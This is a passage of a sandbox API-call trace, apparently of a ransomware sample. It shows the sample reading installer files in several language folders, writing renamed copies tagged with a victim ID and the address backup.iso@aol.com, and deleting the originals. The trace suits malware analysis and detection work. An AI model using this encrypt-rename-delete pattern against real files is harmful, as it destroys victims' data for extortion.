"c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0099.741] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xd4b8, lpOverlapped=0x0) returned 1 [0099.904] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xd4c0, lpOverlapped=0x0) returned 1 [0099.906] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0099.907] CloseHandle (hObject=0x2c8) returned 1 [0099.907] CloseHandle (hObject=0x310) returned 1 [0099.909] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0099.911] SetEvent (hEvent=0x2cc) returned 1 [0099.911] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0099.911] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=81482) returned 1 [0099.911] CloseHandle (hObject=0x310) returned 1 [0099.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0099.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0099.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0099.912] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0099.912] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.912] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.912] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0099.912] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x13e4a, lpOverlapped=0x0) returned 1 [0099.981] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x13e50, lpOverlapped=0x0) returned 1 [0099.984] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0099.984] CloseHandle (hObject=0x310) returned 1 [0099.984] CloseHandle (hObject=0x2c8) returned 1 [0099.988] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0099.991] SetEvent (hEvent=0x2cc) returned 1 [0099.991] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0099.992] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0099.992] CloseHandle (hObject=0x2c8) returned 1 [0099.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0099.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0099.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0099.992] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0099.992] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.993] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.993] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0099.993] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0100.026] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0100.027] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0100.027] CloseHandle (hObject=0x2c8) returned 1 [0100.028] CloseHandle (hObject=0x310) returned 1 [0100.030] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0100.031] SetEvent (hEvent=0x2cc) returned 1 [0100.031] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.031] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3865) returned 1 [0100.031] CloseHandle (hObject=0x310) returned 1 [0100.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0100.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0100.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0100.032] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.032] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.032] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.032] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0100.747] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xf19, lpOverlapped=0x0) returned 1 [0100.751] WriteFile (in: hFile=0x320, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf20, lpOverlapped=0x0) returned 1 [0100.752] WriteFile (in: hFile=0x320, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0100.752] CloseHandle (hObject=0x310) returned 1 [0100.752] CloseHandle (hObject=0x320) returned 1 [0100.764] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0100.766] SetEvent (hEvent=0x2cc) returned 1 [0100.766] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0100.766] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=17752) returned 1 [0100.766] CloseHandle (hObject=0x320) returned 1 [0100.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0100.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0100.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0100.767] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0100.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.767] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0100.768] ReadFile (in: hFile=0x320, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4558, lpOverlapped=0x0) returned 1 [0100.775] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4560, lpOverlapped=0x0) returned 1 [0100.777] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0100.777] CloseHandle (hObject=0x320) returned 1 [0100.777] CloseHandle (hObject=0x310) returned 1 [0100.779] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0100.781] SetEvent (hEvent=0x2cc) returned 1 [0100.781] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.781] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3859) returned 1 [0100.782] CloseHandle (hObject=0x310) returned 1 [0100.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0100.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0100.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0100.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.782] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.782] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0100.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0100.787] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xf13, lpOverlapped=0x0) returned 1 [0101.359] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf20, lpOverlapped=0x0) returned 1 [0101.360] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0101.360] CloseHandle (hObject=0x310) returned 1 [0101.360] CloseHandle (hObject=0x330) returned 1 [0101.362] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0101.363] SetEvent (hEvent=0x2cc) returned 1 [0101.363] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0101.364] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=76818) returned 1 [0101.364] CloseHandle (hObject=0x330) returned 1 [0101.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0101.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0101.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0101.364] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0101.364] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0101.364] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0101.364] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0101.365] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x12c12, lpOverlapped=0x0) returned 1 [0101.500] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x12c20, lpOverlapped=0x0) returned 1 [0101.503] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0101.503] CloseHandle (hObject=0x330) returned 1 [0101.503] CloseHandle (hObject=0x310) returned 1 [0101.507] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0101.509] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0101.509] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=5827) returned 1 [0101.509] CloseHandle (hObject=0x310) returned 1 [0101.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0101.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0101.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0101.510] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0101.510] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0101.510] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0101.510] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0101.523] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x16c3, lpOverlapped=0x0) returned 1 [0103.268] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x16d0, lpOverlapped=0x0) returned 1 [0103.270] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0103.270] CloseHandle (hObject=0x310) returned 1 [0103.270] CloseHandle (hObject=0x31c) returned 1 [0103.271] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0103.273] SetEvent (hEvent=0x2cc) returned 1 [0103.273] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.596] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=4015) returned 1 [0103.596] CloseHandle (hObject=0x2c8) returned 1 [0103.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0103.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0103.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0103.596] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.596] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0103.596] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0103.597] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0104.834] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xfaf, lpOverlapped=0x0) returned 1 [0106.478] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x325f738, 